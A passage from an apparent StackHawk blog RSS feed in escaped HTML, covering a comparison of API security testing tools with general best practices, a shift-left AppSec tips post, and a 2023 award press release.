by simulating an attack, which is based on common open-source vulnerabilities like OWASP top 10 or custom attack definitions, and observing how the API responds. In other words, it tries to leverage known vulnerabilities on the API to observe how it reacts to them to determine if the API is secure against the vulnerability or not.&lt;/p&gt;&lt;p&gt;Stackhawk provides seamless integration with your &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;&lt;u&gt;CI/CD&lt;/u&gt;&lt;/a&gt; so that you can automate the testing of every API endpoint in your application. By using StackHawk in your CI/CD pipeline, tests can be run on every commit to ensure developers are aware of any bugs in the codebase as soon as they are introduced.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Advantages of StackHawk&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;It integrates easily and provides extensive automation capabilities with your CI/CD, automating application testing quickly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It offers test report analytics and dashboarding.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Helps inventory and prioritize APIs for security testing&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;StackHawk is built to test modern microservices infrastructure&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Full support for all API types: REST, SOAP, GraphQL, and gRPC&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Developer-first. Easy to scale application security across teams.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integrations with popular dev-tools.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Disadvantages of StackHawk&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Lacks an on-prem solution required by some industries and organizations.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;ZAP&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First on our list is ZAP. The Zed Attack Proxy, abbreviated to ZAP, is an open-source web security testing tool. The tool was developed by the Open Web Application Security Project (OWASP) and continuously maintained by the community to ensure it is up-to-date and effective against the latest threats. &lt;/p&gt;&lt;p&gt;ZAP&amp;#39;s primary purpose is to provide penetration testing through automation. ZAP works by running simulated attacks against the API endpoint to check for exploitable vulnerabilities. By using this technique, ZAP lets developers know how their API will respond to an attack in real time. The result of these tests allows developers to implement security steps or refactor code to mitigate the discovered security defect. &lt;/p&gt;&lt;p&gt;ZAP is a cross-platform tool and can run on a variety of operating systems, including Mac OS, Windows, and Linux. The platform&amp;#39;s primary language support is Java, but it also supports a variety of other languages such as JavaScript, JRuby, and other JSR 223 languages.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Advantages of ZAP&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Free and open-source&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Tests web applications and APIs against vulnerabilities outlined in the OWASP Top 10&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Supports integration with various other platforms&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Capable of generating test case reports&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Disadvantages of ZAP&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Could use more detailed test reporting functionality&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Lacks automation support&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Wallarm&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Wallarm is an all-in-one API security tool that provides API security posture reports, security testing, and runtime protection. &lt;/p&gt;&lt;p&gt;Founded in 2014, it protects an API against runtime attacks, provides dynamic application security testing, and provides continuous API service discovery to give you an overview of your API inventory.&lt;/p&gt;&lt;p&gt;Wallarm integrates with any CI/CD workflow, allowing you to run dynamic test cases automatically. &lt;/p&gt;&lt;p&gt;You don&amp;#39;t need a lot of programming experience to utilize Wallarm. It&amp;#39;s a no-code tool hosted as a managed SaaS platform so Operating System compatibility is not a concern. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Advantages of Wallarm&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;It provides seamless integration with other platforms.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It&amp;#39;s a full-suite API security tool.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It provides analytics and dashboarding of test reports.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Disadvantages of Wallarm&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Very costly to run since pricing runs quite high.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;42 Crunch&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;42 Crunch is a robust API security platform developed in 2016 to provide API security posture, automate API security testing in your CI/CD pipeline, and enforce security policies. 42 Crunch provides protection to APIs against threats in runtime through their firewall. The platform also provides auditing and discovery into your API inventory. From the API security testing standpoint, it provides static analysis testing for your APIs.&lt;/p&gt;&lt;p&gt;42 Crunch is a no-code SaaS platform, which means it&amp;#39;s not dependent on any programming language and doesn&amp;#39;t have any issues with OS compatibility. &lt;/p&gt;&lt;p&gt;42 Crunch also offers seamless interaction with many platforms, allowing you to automate security testing in your CI/CD workflow.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Advantages of 42 Crunch&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;It&amp;#39;s a full-suite API security tool.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It provides integrations with your CI/CD workflow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It provides analytics and dashboarding of test reports.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Disadvantages of 42 Crunch&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Expensive since you are paying for a full suite of features, whether you use them or not.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It allows for fewer integrations with other platforms.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;SALT Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;SALT is an API security platform founded in 2016 that provides continuous discovery and security posture management of all your APIs, including shadow and zombie APIs. This allows you to have the full context of your APIs and be aware of the data you&amp;#39;re exposing. The platform allows you to scan and test your APIs for security vulnerabilities and protect APIs against runtime attacks. &lt;/p&gt;&lt;p&gt;SALT is a cross-platform software, meaning it can run on different types of operating systems and integrates seamlessly with your CI/CD workflow.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Advantages of SALT Security&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;It&amp;#39;s a full-suite API security platform.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Provides integration with your CI/CD.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It provides analytics and dashboarding of test reports.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Disadvantages of SALT Security&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Pricing is not transparent and not available on their website&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;No self-serve demo available&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Postman&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Postman is an API tool for creating and managing APIs. Within it’s suite of tools, Postman provides a testing solution that allows you to test your API for vulnerabilities. You can, for example, test your API to see if it has a broken authentication level or not. &lt;/p&gt;&lt;p&gt;It also has features that allow you to automate your security tests. With the potential to run your security tests within your CI/CD workflows. &lt;/p&gt;&lt;p&gt;Postman supports a variety of common languages and runs on Windows, MacOS, and Linux.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Advantages of Postman&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;great offering in the free tier, and paid tiers are still cost-effective.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It&amp;#39;s cross-platform.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It provides analytics and reporting of tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It provides integration with different platforms.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Disadvantages of Postman&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Integration possibilities are currently limited.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Imperva&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Imperva is a cybersecurity software company founded in 2002 that offers an API security solution that includes API posture security and API runtime protection. &lt;/p&gt;&lt;p&gt;Imperva enables continuous deep discovery into your API inventory to eliminate data leakage and abuse. The platform allows users to be aware of what sensitive data they&amp;#39;re exposing through their API endpoints, shadow APIs, and so on. &lt;/p&gt;&lt;p&gt;The company also uses a machine learning model to protect APIs in real-time against vulnerabilities in the OWASP top 10 and other new threats such as bad bot attacks, DDoS, credential stuffing, and so on.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Advantages of Imperva&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;It provides easy integration into your CI/CD.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Provides real-time API protection through machine learning models.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Disadvantages of Imperva&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Has limited integration with other platforms.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;API Security Best Practices&lt;/h2&gt;&lt;p&gt;Regardless of the tools used, there are always some best practices you should adhere to when scaling up API security. To ensure the security of APIs, organizations should follow best practices that cover various aspects of API security, many of which the tools above can help with or help to detect issues with. These include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Implement Authentication and Authorization&lt;/b&gt;: Almost all APIs should have some type of authentication and authorization in place for users. Use strong authentication mechanisms and ensure that only authorized users can access API endpoints.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Encrypt Data&lt;/b&gt;: Attackers can&amp;#39;t exploit data they can&amp;#39;t access. Protect data in transit and at rest using encryption to prevent unauthorized access and data breaches. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Conduct Regular Security Testing&lt;/b&gt;: There&amp;#39;s no better way to be prepared than to continuously test your API&amp;#39;s security. Perform dynamic application security testing (DAST) and other security tests to identify and mitigate vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rate Limiting and Throttling&lt;/b&gt;: Implement rate limiting to prevent abuse and ensure APIs are not overwhelmed by excessive requests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use Secure Protocols&lt;/b&gt;: Ensure APIs use secure communication protocols like HTTPS and TLS to protect data integrity and confidentiality.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Validate User Input&lt;/b&gt;: As one of the first steps in keeping your APIs safe, implement input validation and data sanitization to prevent injection attacks and other malicious activities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Deploy a Web Application Firewall (WAF) and API Gateway&lt;/b&gt;: Use WAFs and API gateways to provide an additional layer of security and manage API traffic. This can help streamline many of the best practices listed above, including rate limiting and encryption.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Monitor API Traffic and Logs&lt;/b&gt;: Continuously monitor API traffic and logs for suspicious activity to detect and respond to potential threats. If something makes it through your defenses, set up alerts so you can remediate it ASAP.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Incident Response Plan&lt;/b&gt;: When something does go wrong, know what to do! Have an incident response plan in place to quickly address and mitigate the impact of security breaches.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By knowing and putting these best practices into action, organizations can significantly enhance their API security posture and protect their APIs from a wide range of security vulnerabilities. Whether preventing API security issues or detecting them after they have already occurred, a holistic strategy that covers as many angles as possible is the best defense (and offense) when it comes to protecting your APIs.&lt;/p&gt;&lt;h2&gt;Final Thoughts&lt;/h2&gt;&lt;p&gt;In this post, we looked at some of the top API security tools for your organization. Generally, a single tool will not cover every aspect of security so the best strategy is to layer tools for complete coverage. Although many platforms exist, each has its own advantages and disadvantages which may or may not be applicable to your use case. One thing to keep in mind when selecting an API security tool is to be certain about what you want out of the tool. For instance, if all you need is an API testing tool, there&amp;#39;s likely no need to invest in a full API security suite. Other factors to consider are affordability, language and OS support, ease of use, and available integrations. &lt;/p&gt;&lt;p&gt;Whether you&amp;#39;re just beginning to think about API security tools or are upgrading your existing suite, StackHawk offers an easy and affordable solution to implement dynamic application security testing. Plug StackHawk directly into your CI/CD pipeline or run it locally and identify potential vulnerabilities in minutes. Easily access reports and discover potential fixes from within the platform and level up your API security with ease and automation. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;To get started, sign up for your free trial today&lt;/u&gt;&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;Additional resources&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Read on to see how StackHawk&amp;#39;s CSO, Scott Gerlach talks about “Shift Left” being more than just a buzzword &lt;/i&gt;&lt;a href=&quot;https://www.securitymagazine.com/articles/98674-shift-left-beyond-the-cybersecurity-buzzword#:~:text=Shifting%20security%20left%20means%20organizations,as%20they%20push%20new%20code.&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;. &lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Check out why Omdia&amp;#39;s On the Radar report highlights StackHawk as an “interesting alternative to most other DAST tools” &lt;/i&gt;&lt;a href=&quot;https://www.stackhawk.com/lp/otr-stackhawk-for-dast-and-api-security-testing/&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Getting started with StackHawk? Check out Advice and Answers from the amazing StackHawk team &lt;/i&gt;&lt;a href=&quot;https://help.stackhawk.com/en/&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Shifting Left: 8 Essential Tips to Evolve your AppSec Program ]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/shifting-left-8-essential-tips-to-evolve-your-appsec-program</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Alexa Sevilla]]></dc:creator><content:encoded>&lt;h2&gt;&lt;b&gt;Implementing a Shift-Left Approach&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Shift left is a concept that has been gaining traction in the cybersecurity industry in recent years, with the focus on incorporating security and security testing into the software development process early. The benefits of a shift-left approach include delivering secure code faster, reducing vulnerabilities in production, and driving efficiencies across AppSec and Dev teams. &lt;/p&gt;&lt;p&gt;In this blog post, we’ll explore the concept of shift left in more detail, as well as share two key resources that can help organizations learn best practices to implement it:  &amp;quot;Shift Left: Beyond the Cybersecurity Buzzword&amp;quot; by Security Magazine, and RSAC Fireside Chat “StackHawk helps move the application security needle to ‘shift everywhere’” both articles featuring StackHawk’s CSO and security expert, Scott Gerlach.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What is Shift Left?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Shift left is a practice of incorporating security into the software development process as early as possible. Traditionally, security has been treated as an afterthought, with developers creating software first and security teams testing it later, either just before deployment or after it&amp;#39;s been pushed to production. This approach is no longer sufficient. The speed at which software is developed and deployed today outpaces the ability for  traditional approaches of security testing to keep up, and therefore can expose applications running in production to an increasing number of cyber attacks.&lt;/p&gt;&lt;p&gt;Shift left means that security is integrated into the development process from the start. This approach involves threat modeling, secure design, security testing and vulnerability assessments (to name a few) as early as possible in the development cycle. By identifying and addressing security issues early, organizations can save time and money and reduce the risk of a cyber attack being successful and the potential damage and interruption  caused by one.&lt;/p&gt;&lt;p&gt;Shift left also involves a change in mindset. Rather than viewing security as a separate function, it is integrated into the development process, making it part of the development team&amp;#39;s responsibility. This approach is commonly referred to as DevSecOps, and it involves a collaborative approach between development, security, and operations teams.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Shift Left: Beyond the Cybersecurity Buzzword&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&amp;quot;Shift Left: Beyond the Cybersecurity Buzzword&amp;quot; is an article that provides a comprehensive overview of the shift left concept. The article explores the benefits of shift left, including early detection of vulnerabilities, cost savings, and improved overall security. It also discusses the challenges of implementing shift left, such as resistance to change and lack of expertise.&lt;/p&gt;&lt;p&gt;The article also offers practical guidance on how to implement shift left, such as involving the security team early in the development process, automating security testing, and providing training for developers on security best practices. The article emphasizes the importance of a collaborative approach between development, security, and operations teams.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;RSAC Fireside Chat: StackHawk Helps Move the Application Security Needle to Shift Everywhere&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The RSAC Fireside Chat is a podcast that discusses how StackHawk can help organizations implement shift left and improve their application security. StackHawk seamlessly integrates security testing into the software development process, making it part of the development team&amp;#39;s responsibility. &lt;/p&gt;&lt;p&gt;The podcast discusses the challenges organizations face in securing their applications and how StackHawk can help organizations shift left and improve their application security. The podcast explores the features of StackHawk, such as automated API and application security testing. The podcast also emphasizes the importance of a collaborative approach between development and security teams.&lt;/p&gt;&lt;h2&gt;How Can Organizations Implement Shift Left?&lt;/h2&gt;&lt;p&gt;Implementing shift left requires a change in mindset and a collaborative approach between development, security, and operations teams. The following are some steps organizations can take to implement shift left:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Involve the Development Team Early in the AppSec Design Process&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The development team must be involved and have buy-in for shift-left to work at all. Development teams need to help and accept design of process, selection of tooling, as well as ground rules for working agreements on how to partner with security teams. People, process, technology are what enable change. &lt;i&gt;We often forget the people part of this formula. &lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Involve the Security Team Early in the Development Process&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The security team should be involved in the development process from the beginning. This allows them to identify potential security risks early and provide guidance on how to mitigate those risks. By involving the security team early, organizations can save time and money by avoiding costly security issues later in the development process.&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Implement a Self Service Approach &lt;/b&gt;&lt;/p&gt;&lt;p&gt;Be mindful of designing something that is a black box that developers can’t use or see. Empowering developers to be successful in the recreation of issues helps keep pace with the flow of development. If you’re breaking builds, and developers can’t easily recreate the issue or service their process, they will spend time to unwind it. That doesn’t mean don’t log decisions, but give developers the ability to make informed, action-based decisions. &lt;/p&gt;&lt;p&gt;&lt;b&gt;4. Automate Security Testing&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Automating security testing can save time and ensure that security testing is consistent and thorough. Tools like StackHawk offer a modern approach to application security testing by offering a platform that’s easily integrated into the existing dev workflows and CI/CD pipelines. &lt;/p&gt;&lt;p&gt;&lt;b&gt;5. Provide Training for Developers on Security Best Practices&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Developers should be trained on security best practices to ensure they are aware of potential security risks and how to mitigate them. This training can be provided by the security team or through external resources.&lt;/p&gt;&lt;p&gt;&lt;b&gt;6. Conduct Regular Vulnerability Assessments&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Regular vulnerability assessments can help identify security risks early in the development process. These assessments should be conducted by the security team or an external security provider.&lt;/p&gt;&lt;p&gt;&lt;b&gt;7. Implement Continuous Integration and Continuous Delivery (CI/CD)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Continuous Integration and Continuous Delivery (CI/CD) can help ensure that security testing is integrated into the development process. CI/CD involves automating the building, testing, and deployment of software applications, which can help identify and mitigate security risks early in the development process.&lt;/p&gt;&lt;p&gt;&lt;b&gt;8. Collaborate Between Development, Security, and Operations Teams&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Collaboration between development, security, and operations teams is essential for successful implementation of shift left. The teams should work together to identify potential security risks and develop strategies to mitigate those risks.&lt;/p&gt;&lt;p&gt;Shift left is an essential concept that organizations need to adopt to improve their application security. By integrating security into the development process, organizations can identify and address security issues earlier, saving time and money in the long run. The resources mentioned in this blog post, &amp;quot;&lt;a href=&quot;https://www.securitymagazine.com/articles/98674-shift-left-beyond-the-cybersecurity-buzzword&quot;&gt;&lt;u&gt;Shift Left: Beyond the Cybersecurity Buzzword&lt;/u&gt;&lt;/a&gt;&amp;quot; and RSAC Fireside Chat &lt;a href=&quot;https://securityboulevard.com/2023/04/rsac-fireside-chat-stackhawk-helps-move-the-application-security-needle-to-shift-everywhere/&quot;&gt;&lt;u&gt;“StackHawk helps move the application security needle to ‘shift everywhere’”&lt;/u&gt;&lt;/a&gt; offer great guidance on how to implement shift left and improve application security. &lt;/p&gt;&lt;p&gt;Implementing shift left requires a change in mindset and a collaborative approach between development, security, and operations teams, but the benefits are significant and can help organizations stay ahead of the evolving threat landscape.&lt;/p&gt;&lt;p&gt;Learn more about StackHawk&amp;#39;s &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;security testing&lt;/a&gt; and how we can help your organizations improve application security best practices in order to shift left. We’d love to hear from you. &lt;/p&gt;&lt;p&gt;&lt;b&gt;[Alexa Sevilla is the Director of Product Marketing at StackHawk]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Read more&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-named-winner-in-2023-global-infosec-awards-at-rsa-2023/#:~:text=StackHawk%20named%20Winner-,in%202023%20Global,at%20RSA%202023&amp;text=Cyber%20Defense%20Magazine%20recognizes%20StackHawk,category%20at%20RSA%20Conference%202023.&quot;&gt;&lt;u&gt;Learn why StackHawk was named winner for Next Gen API Security at RSA&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;&lt;u&gt;Watch a demo and see how StackHawk helps organizations shift left&lt;/u&gt;&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Get started with a free StackHawk trial today&lt;/u&gt;&lt;/a&gt;! &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;&lt;u&gt;Researcher type? Check out our awesome Hawkdocs&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk named Winner in 2023 Global Infosec Awards at RSA 2023 ]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-named-winner-in-2023-global-infosec-awards-at-rsa-2023</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;b&gt;DENVER, Colo. – April 24, 2023 –&lt;/b&gt; &lt;a href=&quot;https://c212.net/c/link/?t=0&amp;l=en&amp;o=3830160-1&amp;h=1334280956&amp;u=https%3A%2F%2Fwww.stackhawk.com%2F&amp;a=StackHawk&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;, the company making web application and API security testing part of software delivery, announced today that &lt;i&gt;Cyber Defense Magazine, &lt;/i&gt;the industry’s leading electronic information security magazine, has recognized StackHawk as a winner in the Next Gen API Security category in the 11th Annual Global Infosec Awards at RSA 2023. These prestigious global awards recognize innovators from any company stage with compelling value propositions for their products in competitive infosecurity industries.  &lt;/p&gt;&lt;p&gt;StackHawk’s &lt;a href=&quot;https://www.stackhawk.com/product&quot;&gt;&lt;u&gt;security testing platform&lt;/u&gt;&lt;/a&gt; empowers engineers to easily find and fix application security bugs at any stage of software development. Focused on pre-production API and web application security testing, StackHawk gives Development teams the ability to actively run security testing as part of their traditional software testing workflows, while giving AppSec teams the peace of mind of controlled and security tested applications in production. The platform works diligently to find security bugs earlier in the development process to avoid schedule disruption, identify high priority issues, and help developers fix security bugs prior to production at the accelerated rate of software delivery.    &lt;/p&gt;&lt;p&gt; &amp;quot;StackHawk&amp;#39;s recognition as a leader in next generation API security is a testament to our mission to enable developer success of building secure code, faster, &amp;quot; said Joni Klippert, CEO and co-founder of StackHawk. &amp;quot;This notoriety illustrates StackHawk&amp;#39;s advanced product development and innovation throughout a market that is ready to adopt modern API security testing.&amp;quot;&lt;/p&gt;&lt;p&gt;Built for modern engineering teams, StackHawk has reimagined API security testing by empowering developers to find and fix security vulnerabilities during their traditional build workflows. StackHawk believes in putting API and application security testing in the hands of the engineers who write the code, while bridging the trust gap among their AppSec counterparts with visibility and control. A developer-focused API security testing tool ensures more vulnerabilities can be addressed during the development stage of software delivery, reducing hours spent triaging bugs found in production, and helping scale AppSec teams. &lt;/p&gt;&lt;p&gt;&amp;quot;StackHawk embodies three major features we judges look for to become winners: understanding tomorrow’s threats, today, providing a cost-effective solution, and innovating in unexpected ways that can help mitigate cyber risk and get one step ahead of the next breach,&amp;quot; said Gary S. Miliefsky, Publisher of Cyber Defense Magazine. &lt;/p&gt;&lt;p&gt;This announcement comes just on the heels of StackHawk’s recent &lt;a href=&quot;https://www.prnewswire.com/news-releases/stackhawk-extends-api-security-testing-capabilities-to-address-large-scale-enterprise-customer-needs-301791270.html&quot;&gt;&lt;u&gt;expansion of API security testing capabilities&lt;/u&gt;&lt;/a&gt; to address large-scale enterprise customer needs -- providing enhanced optimization, scalability and governance controls. Join StackHawk’s webinar, “Scaling Security Across a Herd of Apps”, on Tuesday, May 16 at 10am PT to learn more about the company’s new enterprise capabilities. Register &lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/3116820927814/WN_xpvAMQOfRkuZzs4_wLmQ2A&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Visit StackHawk at RSA&lt;/b&gt; &lt;/p&gt;&lt;p&gt;StackHawk will be a Bronze Sponsor at this year’s 2023 RSA Conference, located at the Moscone Center in San Francisco, CA from April 24-27. To learn more about the award-winning API security testing tool, visit StackHawk at booth #0767 in the South Expo Hall or click &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;here.&lt;/u&gt;&lt;/a&gt;  &lt;/p&gt;&lt;p&gt;&lt;b&gt;About StackHawk&lt;/b&gt; &lt;/p&gt;&lt;p&gt; StackHawk is making application security testing part of software delivery. The StackHawk platform offers engineering teams the ability to find and fix application bugs at any stage of software development. Built by a strong founding team with deep experience in security and DevOps, and funded by some of the best venture investors in the business, StackHawk is leading the shift left movement by putting application security testing into the hands of engineers the moment they build code. Learn more and sign up for a free trial at www.stackhawk.com &lt;/p&gt;&lt;p&gt;&lt;b&gt;About Cyber Defense Magazine&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Cyber Defense Magazine is the premier source of cyber security news and information for InfoSec professions in business and government. We are managed and published by and for ethical, honest, passionate information security professionals. Our mission is to share cutting-edge knowledge, real-world stories and awards on the best ideas, products, and services in the information technology industry.  We deliver electronic magazines every month online for free, and special editions exclusively for the RSA Conferences. CDM is a proud member of the Cyber Defense Media Group. Learn more about us at https://www.cyberdefensemagazine.com and visit https://www.cyberdefensetv.com and https://www.cyberdefenseradio.com to see and hear some of the most informative interviews of many of these winning company executives.  Join a webinar at https://www.cyberdefensewebinars.com and realize that infosec knowledge is power. &lt;/p&gt;&lt;p&gt;&lt;b&gt;StackHawk Media Contact: &lt;/b&gt; &lt;/p&gt;&lt;p&gt;Caitlin Kruell &lt;/p&gt;&lt;p&gt;Lumina Communications for StackHawk &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;mailto:stackhawk@luminapr.com&quot;&gt;&lt;u&gt;stackhawk@luminapr.com&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Cyber Defense Magazine &lt;/i&gt;&lt;/b&gt;&lt;b&gt;Media Contact:&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Irene Noser, Marketing Executive &lt;/p&gt;&lt;p&gt;&lt;a 